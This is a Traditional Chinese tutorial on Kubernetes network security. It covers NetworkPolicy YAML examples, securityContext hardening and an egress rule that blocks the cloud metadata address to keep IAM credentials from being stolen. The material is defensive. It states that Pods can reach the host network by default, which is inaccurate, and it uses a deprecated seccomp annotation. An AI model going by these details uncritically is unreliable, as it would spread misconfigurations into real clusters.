Pod的設計初衷是為了方便將現有應用程式遷移到Kubernetes,但這帶來了一些安全隱憂:
# 多容器Pod的定義
apiVersion: v1
kind: Pod
metadata:
name: multi-container-pod
spec:
containers:
- name: app
image: myapp:latest
ports:
- containerPort: 8080
- name: sidecar
image: sidecar:latest
# 兩個容器可以透過localhost互相存取
這個YAML定義了一個包含兩個容器的Pod。由於它們分享網路名稱空間,app容器暴露的8080連線埠可以被sidecar容器透過localhost:8080直接存取,無需任何額外的網路設定。這種設計雖然方便,但也意味著Pod內的容器之間沒有網路隔離。如果其中一個容器被攻擊者控制,他們可以自由存取同一Pod中其他容器的網路服務,即使這些服務沒有對外暴露。
安全最佳實踐
對於Pod內部網路安全,我建議採取以下策略:
- 最小化Pod中的容器數量:理想情況下,每個Pod只包含一個應用容器,減少攻擊面
- 重構應用程式:將緊密耦合的容器重構為獨立的微服務,每個佈署在自己的Pod中
- 使用專用安全工具:考慮使用專門的容器安全開放原始碼或商業解決方案
- 限制容器許可權:即使在同一Pod中,也應限制每個容器的許可權
這些策略可以幫助減少Pod內部網路通訊帶來的安全風險,同時保持應用程式的功能性。
Pod間網路流量控制
在Kubernetes中,預設情況下所有Pod間的網路流量都是允許的,這從安全形度來看是極其危險的。實施網路政策是解決這個問題的關鍵。
網路政策的基本實作
以下是一個基本的網路政策範例,限制對特定Pod的存取:
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: api-allow
namespace: production
spec:
podSelector:
matchLabels:
app: api
ingress:
- from:
- podSelector:
matchLabels:
app: frontend
ports:
- protocol: TCP
port: 8080
這個網路政策定義了對標記為app=api
的Pod的存取控制。它只允許同一名稱空間中標記為app=frontend
的Pod透過TCP連線埠8080存取API Pod。所有其他來源的流量都會被阻止。這種根據標籤的選擇器是Kubernetes網路政策的核心機制,允許根據Pod的身份而非IP位址控制流量,這在動態環境中尤為重要。
名稱空間流量控制
控制不同名稱空間之間的流量對於多租戶環境尤為重要:
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: allow-from-monitoring
namespace: production
spec:
podSelector:
matchLabels:
app: api
ingress:
- from:
- namespaceSelector:
matchLabels:
purpose: monitoring
podSelector:
matchLabels:
app: prometheus
ports:
- protocol: TCP
port: 9090
這個網路政策允許來自標記為purpose=monitoring
的名稱空間中,標記為app=prometheus
的Pod存取生產名稱空間中的API Pod的9090連線埠。這種組合選擇器允許精確控制跨名稱空間的流量,這對於實施多租戶隔離或允許監控工具存取生產工作負載非常有用。注意選擇器之間的關係:當多個選擇器位於同一陣列項中時(如本例),它們是AND關係;當位於不同陣列項時,它們是OR關係。
出站流量控制
控制Pod的出站流量同樣重要,可以限制受損Pod的橫向移動能力:
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: limit-egress
namespace: production
spec:
podSelector:
matchLabels:
app: frontend
egress:
- to:
- podSelector:
matchLabels:
app: api
ports:
- protocol: TCP
port: 8080
- to:
- ipBlock:
cidr: 10.0.0.0/24
except:
- 10.0.0.5/32
這個網路政策限制了前端Pod的出站流量。它只允許流量傳送到同一名稱空間中的API Pod的8080連線埠,以及特定的IP範圍(10.0.0.0/24,但排除10.0.0.5)。這種出站控制可以防止受損的Pod連線到未授權的內部服務或外部命令與控制伺服器。實施出站政策是防止資料洩露和限制攻擊者橫向移動能力的關鍵策略。
預設拒絕政策
建立預設拒絕政策是網路安全的最佳實踐:
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: default-deny-all
namespace: production
spec:
podSelector: {}
policyTypes:
- Ingress
- Egress
這個網路政策對生產名稱空間中的所有Pod實施了預設拒絕規則,阻止所有入站和出站流量。空的podSelector({})表示選擇名稱空間中的所有Pod。這種「預設拒絕」策略是網路安全的基礎,確保只有明確允許的流量才能透過。在實施這種政策後,你需要為每種必要的通訊模式建立允許政策。這種「白名單」方法大減少了攻擊面,是零信任安全模型的核心原則。
Pod與工作節點間的通訊安全
Pod與其所在工作節點之間的通訊也存在安全考量,特別是當Pod嘗試存取節點資源時。
主機網路存取控制
預設情況下,Pod可以存取主機網路,這可能導致許可權升級:
# 限制Pod存取主機網路的安全上下文
apiVersion: v1
kind: Pod
metadata:
name: secure-pod
spec:
containers:
- name: app
image: myapp:latest
securityContext:
allowPrivilegeEscalation: false
capabilities:
drop:
- NET_RAW
- NET_ADMIN
這個YAML定義了具有安全上下文的Pod,禁止許可權升級並刪除了NET_RAW和NET_ADMIN這兩個關鍵的網路相關Linux capabilities。NET_RAW capability允許容器建立原始通訊端,這可能被用於網路嗅探或偽造資料包;NET_ADMIN則允許容器設定網路介面和路由表。刪除這些capabilities可以防止容器幹擾主機網路設定或執行網路攻擊。這是遵循最小許可權原則的一個例子,只授予容器完成其功能所需的最小許可權。
中繼資料服務存取限制
限制對雲提供商中繼資料服務的存取是保護敏感訊息的關鍵:
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: block-metadata
spec:
podSelector: {}
policyTypes:
- Egress
egress:
- to:
- ipBlock:
cidr: 0.0.0.0/0
except:
- 169.254.169.254/32 # AWS/GCP中繼資料服務
這個網路政策阻止了所有Pod存取IP位址169.254.169.254,這是AWS和GCP用於其中繼資料服務的地址。中繼資料服務包含敏感訊息,如IAM角色憑證、例項ID和其他雲設定資料。如果攻擊者能夠從受損的Pod存取這些服務,他們可能獲得雲環境的更廣泛存取權。這個政策使用了ipBlock選擇器和except子句,允許Pod存取所有其他IP位址,但特別阻止了中繼資料服務地址。
節點資源保護
保護工作節點上的敏感資源對於防止容器逃逸至關重要:
# 使用PodSecurityPolicy(已棄用)或Pod Security Admission控制節點資源存取
apiVersion: v1
kind: Pod
metadata:
name: secure-pod
annotations:
container.apparmor.security.beta.kubernetes.io/app: "runtime/default"
seccomp.security.alpha.kubernetes.io/pod: "runtime/default"
spec:
containers:
- name: app
image: myapp:latest
securityContext:
readOnlyRootFilesystem: true
privileged: false
這個Pod定義使用了多種安全機制來保護節點資源。它應用了預設的AppArmor和Seccomp設定檔案,這些可以限制容器可以執行的系統呼叫。此外,它將容器的根檔案系統設定為只讀,並停用特權模式。這些措施共同防止容器修改主機檔案系統或執行特權操作,大降低了容器逃逸的風險。隨著PodSecurityPolicy的棄用,Kubernetes現在推薦使用Pod Security Admission或第三方解決方案來實施這些控制。